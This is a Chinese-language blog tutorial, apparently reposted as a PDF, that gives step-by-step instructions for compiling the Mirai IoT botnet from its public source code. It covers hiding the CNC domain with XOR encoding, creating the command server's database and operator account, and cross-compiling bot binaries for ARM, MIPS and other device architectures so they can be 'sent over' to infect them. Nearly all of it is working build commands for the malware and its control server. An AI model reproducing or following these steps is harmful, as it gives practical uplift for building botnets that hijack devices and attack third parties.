logo资料库

G.O.A.T!最靠谱的Mirai僵尸病毒编译教程.pdf

第1页 / 共3页
第2页 / 共3页
第3页 / 共3页
资料共3页,全文预览结束
G.O.A.T!最靠谱的 最靠谱的Mirai僵尸病毒编译教程 僵尸病毒编译教程 前言前言 最近在学习Mirai病毒环境的搭建,看了网络上几乎所有的关于Mirai病毒编译的教程,学到了很多,最后也成功把环境搭建起来。我渐渐地发现,对于这个病毒的编译,每个教程都有 一点小小的瑕疵,所以单看一个教程是很难成功搭建的。但也正是这些人的分享,我才可以对Mirai病毒有了一定的了解。同时我也想对某些步骤进行一些原理上的解释,于是就有了 这篇博客,是一篇堪称保姆级的搭建教程。 “万物之源 万物之源” 这个病毒在Github上是有源码释放的,所以下面先给出网址,一些的搭建都是以它为核心。 https://github.com/jgamblin/Mirai-Source-Code 可以先看一下这个文件的结构,dlr是一些病毒调用的工具,loader是负责感染的,mirai是病毒的本体,scripts是脚本。(简单看看就行)这个RAEDME有点意思,应该是原作者写 的,第一人称,比较狂,阴阳怪气地嘲讽了一下试图看透他病毒的两个博客。也介绍了这个病毒编译的过程,但这个过程写的我是觉得有点粗糙,面向的肯定也是对病毒这方面比较 了解的人群,对新手有点不太友好。这也就是为什么大家要看我写的博客,哈哈哈哈哈哈哈。 准备工作 准备工作 你需要的仅仅是一个Ubuntu系统,如果电脑不是Ubuntu系统可以安装VMware来虚拟化一个,也是很方便的。我在这里想要指明的点是编译仅仅需要一个主机就够了,但是病毒的各 种组成部分是需要分布在多个主机上的。我们这篇博客,讲的是把github上的代码编译成能执行的程序,之后如何使用,如果本篇博客点击量够高,就可以看到下一篇了! 开始开始 接下来,会出现大量的linux命令,如果你对linux系统的命令有过初步的了解,看这些一定是没问题的。 apt-get install git gcc golang electric-fence mysql-server mysql-client 一条指令完成需要的工具的安装,包括gcc,golang,mysql数据库等等。 这里我想强调的是:一条指令看似洒脱,结果到后来就出了大问题,这样安装的golang版本太低,到后来编译的时候就会报错,所以我建议大家去网上找教程,安装高版本的 这里我想强调的是:一条指令看似洒脱,结果到后来就出了大问题,这样安装的 版本太低,到后来编译的时候就会报错,所以我建议大家去网上找教程,安装高版本的 golang,越高越好。 ,越高越好。 git clone https://github.com/jgamblin/Mirai-Source-Code linux系统的好处,git命令直接就把整个文件夹下载到了自己的本地。不出意外就是在home文件夹中。(Mirai-Source-Code) 对对CNC服务器与 服务器与Report服务器域名进行加密 服务器域名进行加密 为啥要加密,这个就是作者的高明了。为了隐藏自己,每一个被感染的设备访问CNC控制中心的时候都是用域名访问的,而不是直接的IP地址,然而这个域名他甚至都要进行加密。 所以我们也只好照办。
要加密,首先得要编译出加密程序。 cd mirai/tools && gcc enc.c -o enc.out 然后开始加密。 ./enc.out string cnc.mirai.com ./enc.out string report.mirai.com string是字符串,经过enc.out的帮助,cnc.mirai.com不再是字符串,而变成了一系列的数字。 类似于这样: XOR’ing 14 bytes of data… \x41\x4C\x41\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22 我们拿到了加密后的域名,是需要去修改病毒本体的源代码的,毕竟是病毒本体去连接CNC控制中心。 vi …/bot/table.c vi是个好东西,然后就可以编辑table.c这个文件了。找到它的18-21行。如图所示: 把那一串数字改成之前你加密的东西,第二个参数即后面的数字也要改成相应的长度。我想说的是我前面加密的域名是 为了搭建成功,你还得自己配置DNS服务器,让人家计算机认识你这个域名就是对应的你 为了搭建成功,你还得自己配置 服务器,让人家计算机认识你这个域名就是对应的你CNC的的ip,现在先不用管! ,现在先不用管! 我想说的是我前面加密的域名是cnc.mirai.com,但其实域名你可以随便起名,这又要牵扯到 ,但其实域名你可以随便起名,这又要牵扯到 配置配置CNC控制中心 控制中心 在这一部分,就要涉及到数据库的相关知识了,这个CNC其实是一个命令的发起中心,也是所有被感染设备的管理中心。所以作者在CNC中建立了一个数据库,用来记录这些东西, 包括使用过的攻击命令,与能够操控僵尸的用户数量等等。 cd …/…/scripts vi db.sql 在db.sql文件中,我们插入“use mirai”这个sql语句。 CREATE DATABASE mirai; use mirai; 然后让我们启动数据库。 service mysql start //启动Mysql 服务 cat db.sql | mysql -uroot -proot mysql -uroot -proot //以用户名和密码都是root登录数据库 INSERT INTO users VALUES (NULL, ‘mirai-user’, ‘mirai-pass’, 0, 0, 0, 0, -1, 1, 30, ‘’); //添加的用户 exit //退出 这几句话就是插入了一个能够使用这个CNC控制中心的用户,用户名是mirai-user,密码是mirai-pass。 然后,修改mirai/cnc/main.go中用户名和密码都改成root。 vi …/mirai/cnc/main.go 交叉编译 交叉编译 为啥要交叉编译,就是因为这个病毒其实最后编译出来有好多的版本,包括以arm为后缀的,以dbg为后缀的,以mips为后缀的,适应了各种各样的环境。但是这些环境上并不具备 编译出这些病毒文件的能力,所以我们就在自己的电脑上先给它把这些版本一次都编译出来,到时候比如要感染arm架构的设备,我直接就把以arm后缀为结尾的病毒本体想办法传送 过去就OK了,这就是我理解的交叉编译。 cd … && mkdir cross-compile-bin cd cross-compile-bin wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2 wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2 这一大堆,看着有点乱,其实就是建了个文件夹,然后下载了我们交叉编译需要的文件。接下来就可以运行交叉编译的脚本了。 cd …/scripts sudo ./cross-compile.sh 在运行过程中,会问你是否安装mysql,果断选n,因为前面已经安装完了,不需要浪费时间。 vi ~/.bashrc 编辑bashrc文件,在末尾添加以下内容: export PATH=$ PATH:/etc/xcompile/armv4l/bin export PATH=$ PATH:/etc/xcompile/armv5l/bin export PATH=$ PATH:/etc/xcompile/armv6l/bin export PATH=$ PATH:/etc/xcompile/i586/bin export PATH=$ PATH:/etc/xcompile/m68k/bin export PATH=$ PATH:/etc/xcompile/mips/bin export PATH=$ PATH:/etc/xcompile/mipsel/bin export PATH=$ PATH:/etc/xcompile/powerpc/bin export PATH=$ PATH:/etc/xcompile/powerpc-440fp/bin export PATH=$ PATH:/etc/xcompile/sh4/bin export PATH=$ PATH:/etc/xcompile/sparc/bin export GOPATH=$HOME/go 刷新一下修改过的内容: mkdir ~/go source ~/.bashrc
最后一步,编译CNC和和Bot 最后一步,编译 go get github.com/go-sql-driver/mysql go get github.com/mattn/go-shellwords cd …/mirai ./build.sh debug telnet 最后成功的标准是:看到接下来这样的文件夹。 最终编译好的文件都是在debug文件夹下。 尾声尾声 希望大家都能够一次成功!如果大家喜欢看,我也会更新后续的Mirai部署部分,教大家可以轻松的将被感染设备连上CNC控制中心进行病毒的测试。 作者:weixin_42652850
分享到:
收藏